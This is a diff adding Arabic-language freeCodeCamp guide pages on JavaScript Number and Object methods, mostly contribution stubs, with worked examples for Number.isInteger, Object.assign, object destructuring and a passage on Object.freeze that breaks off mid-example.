diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-isinteger/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-isinteger/index.md
new file mode 100644
index 0000000000..a93d08138e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-isinteger/index.md
@@ -0,0 +1,51 @@
+---
+title: Number isInteger
+localeTitle: Number isInteger
+---
+# Number isInteger
+
+## وصف
+
+تحدد الأسلوب `Number.isInteger()` ما إذا كانت القيمة التي تم تمريرها عددًا صحيحًا أم لا. تم تقديم هذه الطريقة في ES6
+
+## بناء الجملة
+
+`Number.isInteger(val)`
+
+### المعلمات
+
+**فال** - قيمة للتحقق من كونها عدد صحيح
+
+## قيمة الإرجاع
+
+A [Boolean](https://guide.freecodecamp.org/javascript/booleans) تشير إلى ما إذا كانت القيمة عددًا صحيحًا أم لا.
+
+## وصف
+
+يقوم الأسلوب بإرجاع `true` إذا كانت القيمة التي تم تمريرها عددًا صحيحًا ، وإلا فإنها تُرجع `false` . قيم لانهائية و `NaN` ترجع `false` .
+
+## أمثلة
+
+ `Number.isInteger(0);         // true 
+ Number.isInteger(-0);        // true 
+ Number.isInteger(1);         // true 
+ Number.isInteger(2);         // true 
+ Number.isInteger(-100001);   // true 
+ Number.isInteger(999999999999999999999999); // true 
+ 
+ Number.isInteger(0.1);       // false 
+ Number.isInteger(0.3);       // false 
+ Number.isInteger(Math.PI);   // false 
+ 
+ Number.isInteger(NaN);       // false 
+ Number.isInteger(Infinity);  // false 
+ Number.isInteger(-Infinity); // false 
+ Number.isInteger('10');      // false 
+ Number.isInteger(true);      // false 
+ Number.isInteger(false);     // false 
+ Number.isInteger([1]);       // false 
+` 
+
+#### معلومات اكثر:
+
+[ECMA 2015 Docs](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isinteger) [Number.isInteger () MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isInteger)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-isnan/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-isnan/index.md
new file mode 100644
index 0000000000..d2136b1273
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-isnan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isNaN
+localeTitle: الرقم isNaN
+---
+## الرقم isNaN
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-isnan/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-issafeinteger/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-issafeinteger/index.md
new file mode 100644
index 0000000000..9fc783c473
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-issafeinteger/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isSafeInteger
+localeTitle: رقم isSafeInteger
+---
+## رقم isSafeInteger
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-issafeinteger/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-max-safe-integer/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-max-safe-integer/index.md
new file mode 100644
index 0000000000..dc1c8ddbb4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-max-safe-integer/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_SAFE_INTEGER
+localeTitle: رقم MAX_SAFE_INTEGER
+---
+## عدد MAX _SAFE_ INTEGER
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_safe_integer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-max-value/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-max-value/index.md
new file mode 100644
index 0000000000..952a28fb1b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-max-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_VALUE
+localeTitle: رقم MAX_VALUE
+---
+## رقم MAX\_VALUE
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-min-value/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-min-value/index.md
new file mode 100644
index 0000000000..b0db3627fd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-min-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MIN_VALUE
+localeTitle: رقم MIN_VALUE
+---
+## رقم MIN\_VALUE
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-min_value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-nan/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-nan/index.md
new file mode 100644
index 0000000000..db8500d15d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-nan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NaN
+localeTitle: عدد نان
+---
+## عدد نان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-nan/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-negative-infinity/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-negative-infinity/index.md
new file mode 100644
index 0000000000..72d5a6b32c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-negative-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NEGATIVE_INFINITY
+localeTitle: عدد NEGATIVE_INFINITY
+---
+## عدد NEGATIVE\_INFINITY
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-negative_infinity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-parsefloat/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-parsefloat/index.md
new file mode 100644
index 0000000000..43024f155f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-parsefloat/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseFloat
+localeTitle: عدد parseFloat
+---
+## عدد parseFloat
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parsefloat/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-parseint/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-parseint/index.md
new file mode 100644
index 0000000000..9fb0534d02
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-parseint/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseInt
+localeTitle: رقم parseInt
+---
+## رقم parseInt
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parseint/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-positive-infinity/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-positive-infinity/index.md
new file mode 100644
index 0000000000..8ce3418884
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-positive-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number POSITIVE_INFINITY
+localeTitle: الرقم POSITIVE_INFINITY
+---
+## الرقم POSITIVE\_INFINITY
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-positive_infinity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toexponential/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toexponential/index.md
new file mode 100644
index 0000000000..460eb7d6d5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toexponential/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toExponential
+localeTitle: Number.prototype.toExponential
+---
+## Number.prototype.toExponential
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toexponential/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tofixed/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tofixed/index.md
new file mode 100644
index 0000000000..f8f4973556
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tofixed/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toFixed
+localeTitle: Number.prototype.toFixed
+---
+## Number.prototype.toFixed
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tofixed/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tolocalestring/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..a8c9c39f77
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toLocaleString
+localeTitle: Number.prototype.toLocaleString
+---
+## Number.prototype.toLocaleString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tolocalestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toprecision/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toprecision/index.md
new file mode 100644
index 0000000000..e69399e1e9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-toprecision/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toPrecision
+localeTitle: Number.prototype.toPrecision
+---
+## Number.prototype.toPrecision
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toprecision/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tosource/index.md
new file mode 100644
index 0000000000..1d6a752c35
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toSource
+localeTitle: Number.prototype.toSource
+---
+## Number.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tostring/index.md
new file mode 100644
index 0000000000..055555272d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toString
+localeTitle: Number.prototype.toString
+---
+## Number.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-valueof/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-valueof/index.md
new file mode 100644
index 0000000000..1c29e2d27e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.valueOf
+localeTitle: Number.prototype.valueOf
+---
+## Number.prototype.valueOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-valueof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/index.md b/client/src/guide/arabic/javascript/standard-objects/object/index.md
new file mode 100644
index 0000000000..85eb9ae4bd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/index.md
@@ -0,0 +1,11 @@
+---
+title: Object
+localeTitle: موضوع
+---
+## موضوع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-assign/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-assign/index.md
new file mode 100644
index 0000000000..67eb28d468
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-assign/index.md
@@ -0,0 +1,61 @@
+---
+title: Object Assign
+localeTitle: كائن التعيين
+---
+## كائن التعيين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-assign/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتم استخدام الأسلوب `Object.assign()` إلى 1) إضافة الخصائص والقيم إلى كائن موجود ، 2) إنشاء نسخة جديدة من كائن موجود ، أو 3) دمج كائنات موجودة متعددة في كائن واحد. يتطلب الأسلوب `Object.assign()` targetObject واحدًا كمعلمة ويمكن أن يقبل عددًا غير محدود من sourceObjects كمعلمات إضافية.
+
+من المهم ملاحظة أن معلمة targetObject سيتم تعديلها دائمًا. إذا كانت المعلمة تشير إلى كائن موجود ، فسيتم تعديل هذا الكائن ونسخه. ومع ذلك ، إذا كنت ترغب في إنشاء نسخة من كائن بدون تعديل الكائن الأصلي ، فيمكنك تمرير كائن فارغ `{}` كمعلمة (أو targetObject) الأولى والكائن المطلوب نسخه كمعلمة ثانية (أو sourceObject).
+
+إذا كانت الكائنات التي تم تمريرها كمعلمات في `Object.assign()` تتشارك في نفس الخصائص (أو المفاتيح) ، فإن قيم الخصائص التي تأتي لاحقًا في قائمة المعلمات ستحل محل تلك التي جاءت في وقت سابق.
+
+**بناء الجملة**
+
+ `Object.assign(targetObject, ...sourceObject) 
+` 
+
+**قيمة الإرجاع**
+
+`Object.assign()` بإرجاع targetObject.
+
+**أمثلة**
+
+_تعديل ونسخ targetObject_
+
+ `let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign(obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, coder: true } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+` 
+
+_نسخ targetObject بدون تعديل_
+
+ `let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30 } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+` 
+
+_كائنات ذات خصائص مماثلة_
+
+ `let obj = {name: 'Dave', age: 30, favoriteColor: 'blue'}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true, favoriteColor: 'red'}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, favoriteColor: 'blue' } 
+ console.log(objCopy); // { name: 'Dave', age: 30, favoriteColor: 'red', coder: true } 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)  
+[مقدمة في Object.assign في ES6 (فيديو)](https://youtu.be/vM7Tif98Dlo)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-create/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-create/index.md
new file mode 100644
index 0000000000..3cb97cec5f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-create/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Create
+localeTitle: كائن إنشاء
+---
+## كائن إنشاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-create/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperties/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperties/index.md
new file mode 100644
index 0000000000..90cb6fdb8b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperties/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperties
+localeTitle: Object defineProperties
+---
+## Object defineProperties
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperties/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperty/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperty/index.md
new file mode 100644
index 0000000000..84c83c6485
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperty
+localeTitle: Object defineProperty
+---
+## Object defineProperty
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperty/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-destructuring/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-destructuring/index.md
new file mode 100644
index 0000000000..ce4430270f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-destructuring/index.md
@@ -0,0 +1,191 @@
+---
+title: Object Destructuring
+localeTitle: Object Destructuring
+---
+# Object Destructuring
+
+تعتبر عملية التصفية طريقة ملائمة لاستخلاص قيم متعددة من البيانات المخزنة في الكائنات. يمكن استخدامه في المواقع التي تتلقى البيانات (مثل الجانب الأيسر من الواجب). يتم تقديم هذه الميزة في `ECMAScript 6` .
+
+يتم تحديد كيفية استخراج القيم عبر الأنماط (اقرأ على سبيل المثال).
+
+### الواجب الأساسي
+
+ `var userInfo = {name: 'neel', age: 22}; 
+ var {name, age} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 22 
+` 
+
+### التنازل دون تصريح
+
+يمكن تعيين متغير قيمته مع التدمير المنفصل عن تصريحه.
+
+ `var name, age; 
+ 
+ ({name, age} = {name: 'neel', age: 22}); 
+` 
+
+> و `( .. )` حول جملة الواجب هو بناء جملة مطلوب عند استخدام التعيين الحرفي كائن الهدف دون تصريح.
+> 
+> `{name, age} = {name: 'neel', age: 22}` ليس بناء جملة مستقلًا صالحًا ، نظرًا لأن `{name, age}` على الجانب الأيسر يعتبر كتلة وليس حرجًا للكائن.
+> 
+> ومع ذلك ، `({name, age} = {name: 'neel', age: 22})` is valid، as `var {name, age} = {name: 'neel', age: 22}`
+
+### تعيين لأسماء المتغيرات الجديدة
+
+يمكن فك أي خاصية من أحد الكائنات وتخصيصها لمتغير باسم مختلف عن خاصية الكائن.
+
+ `var userInfo = {a: 'neel', b: 22}; 
+ var {a: name, b: bar} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(bar); // 22 
+` 
+
+### قيم افتراضية
+
+متغير يمكن تعيين الافتراضي، في حالة أن القيمة تفكيك من الكائن هو `undefined` .
+
+ `var {name = 'ananonumys', age = 20} = {name: 'neel'}; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 20 
+` 
+
+### تعيين أسماء المتغيرات الجديدة وتوفير القيم الافتراضية
+
+يمكن أن يكون العقار على حد سواء
+
+1.  تفكيكها من كائن وتعيين لمتغير مع اسم مختلف و
+2.  تعيين قيمة افتراضية في حالة القيمة غير `undefined` غير `undefined` .
+
+ `var {a:name = 'ananonumys', b:age = 20} = {age: 22}; 
+ 
+ console.log(name); // ananonumys 
+ console.log(age); // 22 
+` 
+
+### إعداد القيمة الافتراضية لعلامة دالة
+
+#### ES5 الإصدار
+
+ `function getUserInfo(data) { 
+  data = data === undefined ? {} : data; 
+  var name = data.name === undefined ? 'ananonumys' : data.name; 
+  var age = data.age === undefined ? 20 : data.age; 
+  var location = data.location === undefined ? 'india' : data.location; 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+` 
+
+#### نسخة ES2015
+
+ `function getUserInfo({name = 'ananonumys', age = 20, location = 'india'} = {}) { 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+` 
+
+> في توقيع الدالة `getUserInfo` أعلاه ، يتم تعيين الجانب الأيسر المدمر إلى كائن حرفي فارغ على الجانب الأيمن: `{name = 'ananonumys', age = 20, location = 'india'} = {}` . كان بإمكانك أيضًا كتابة الوظيفة بدون تعيين الجانب الأيمن. ومع ذلك ، إذا قمت `getUserInfo()` تعيين الجانب الأيمن ، ستبحث الدالة عن وسيطة واحدة على الأقل `getUserInfo()` عند استدعاء ، بينما في شكلها الحالي ، يمكنك ببساطة استدعاء `getUserInfo()` دون توفير أي معلمات. يفيد التصميم الحالي إذا كنت تريد أن تكون قادرًا على استدعاء الدالة دون توفير أي معلمات ، يمكن أن يكون الآخر مفيدًا عندما تريد التأكد من تمرير كائن إلى الوظيفة.
+
+### كائن متداخل ومجموعة المدمر
+
+ `var metadata = { 
+    title: 'Scratchpad', 
+    translations: [ 
+       { 
+        locale: 'de', 
+        localization_tags: [], 
+        last_edit: '2014-04-14T08:43:37', 
+        url: '/de/docs/Tools/Scratchpad', 
+        title: 'JavaScript-Umgebung' 
+       } 
+    ], 
+    url: '/en-US/docs/Tools/Scratchpad' 
+ }; 
+ 
+ var {title: englishTitle, translations: [{title: localeTitle}]} = metadata; 
+ 
+ console.log(englishTitle); // "Scratchpad" 
+ console.log(localeTitle);  // "JavaScript-Umgebung" 
+` 
+
+### للتكرار والتدمير
+
+ `var people = [ 
+  { 
+    name: 'Mike Smith', 
+    family: { 
+      mother: 'Jane Smith', 
+      father: 'Harry Smith', 
+      sister: 'Samantha Smith' 
+    }, 
+    age: 35 
+  }, 
+  { 
+    name: 'Tom Jones', 
+    family: { 
+      mother: 'Norah Jones', 
+      father: 'Richard Jones', 
+      brother: 'Howard Jones' 
+    }, 
+    age: 25 
+  } 
+ ]; 
+ 
+ for (var {name: n, family: {father: f}} of people) { 
+  console.log('Name: ' + n + ', Father: ' + f); 
+ } 
+ 
+ // "Name: Mike Smith, Father: Harry Smith" 
+ // "Name: Tom Jones, Father: Richard Jones" 
+` 
+
+### تفريغ الحقول من الكائنات التي تم تمريرها كمعلمة دالة
+
+ `function userId({id}) { 
+  return id; 
+ } 
+ 
+ function whois({displayName, fullName: {firstName: name}}) { 
+  console.log(displayName + ' is ' + name); 
+ } 
+ 
+ var user = { 
+  id: 42, 
+  displayName: 'jdoe', 
+  fullName: { 
+      firstName: 'John', 
+      lastName: 'Doe' 
+  } 
+ }; 
+ 
+ console.log('userId: ' + userId(user)); // "userId: 42" 
+ whois(user); // "jdoe is John" 
+` 
+
+هذا unpacks `id` و `displayName` و `firstName` من كائن المستخدم `firstName` .
+
+### أسماء خصائص كائن محسوب و destructuring
+
+ `let key = 'z'; 
+ let {[key]: foo} = {z: 'bar'}; 
+ 
+ console.log(foo); // "bar" 
+` 
+
+انظر أيضا: **Object Destructuring** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-entries/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-entries/index.md
new file mode 100644
index 0000000000..20ad9e8b43
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Entries
+localeTitle: إدخالات الكائن
+---
+## إدخالات الكائن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-entries/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-freeze/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-freeze/index.md
new file mode 100644
index 0000000000..d33d89d975
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-freeze/index.md
@@ -0,0 +1,66 @@
+---
+title: Object Freeze
+localeTitle: تجميد الكائن
+---
+## تجميد الكائن
+
+الأسلوب `Object.freeze()` بتجميد كائن. سوف _يمنعك_ كائن مجمّد من:
+
+*   إضافة خصائص جديدة إليه
+*   إزالة المساهمات الموجودة منه
+*   تغيير التعداد أو قابلية التهيئة أو قابلية خصائصه الحالية
+
+### بناء الجملة
+
+ `Object.freeze(obj) 
+` 
+
+### المعلمات
+
+`obj`
+
+*   الهدف من التجميد.
+
+### عائدات
+
+الكائن المجمدة.
+
+### ملاحظة مهمة
+
+ستؤدي محاولة إضافة أو إزالة أو تعديل خصائص كائن مجمّد إلى فشل. هذا الفشل إما أن يكون صامتًا أو يرمي `TypeError` (إذا تم تمكين وضع Strict). بالإضافة إلى ذلك ، `Object.freeze()` هي عملية ضحلة. هذا يعني أن الكائن المتداخل ، الكائن المجمّد ، قابل للتعديل.
+
+### مثال
+
+ `// Create your object 
+ let person = { 
+  name: 'Johnny', 
+  age: 23, 
+  guild: 'Army of Darkness', 
+  hobbies: ['music', 'gaming', 'rock climbing'] 
+ } 
+ 
+ // Modify your object 
+ person.name = 'John' 
+ person.age = 24 
+ person.hobbies.splice(1,1) 
+ delete person.guild 
+ 
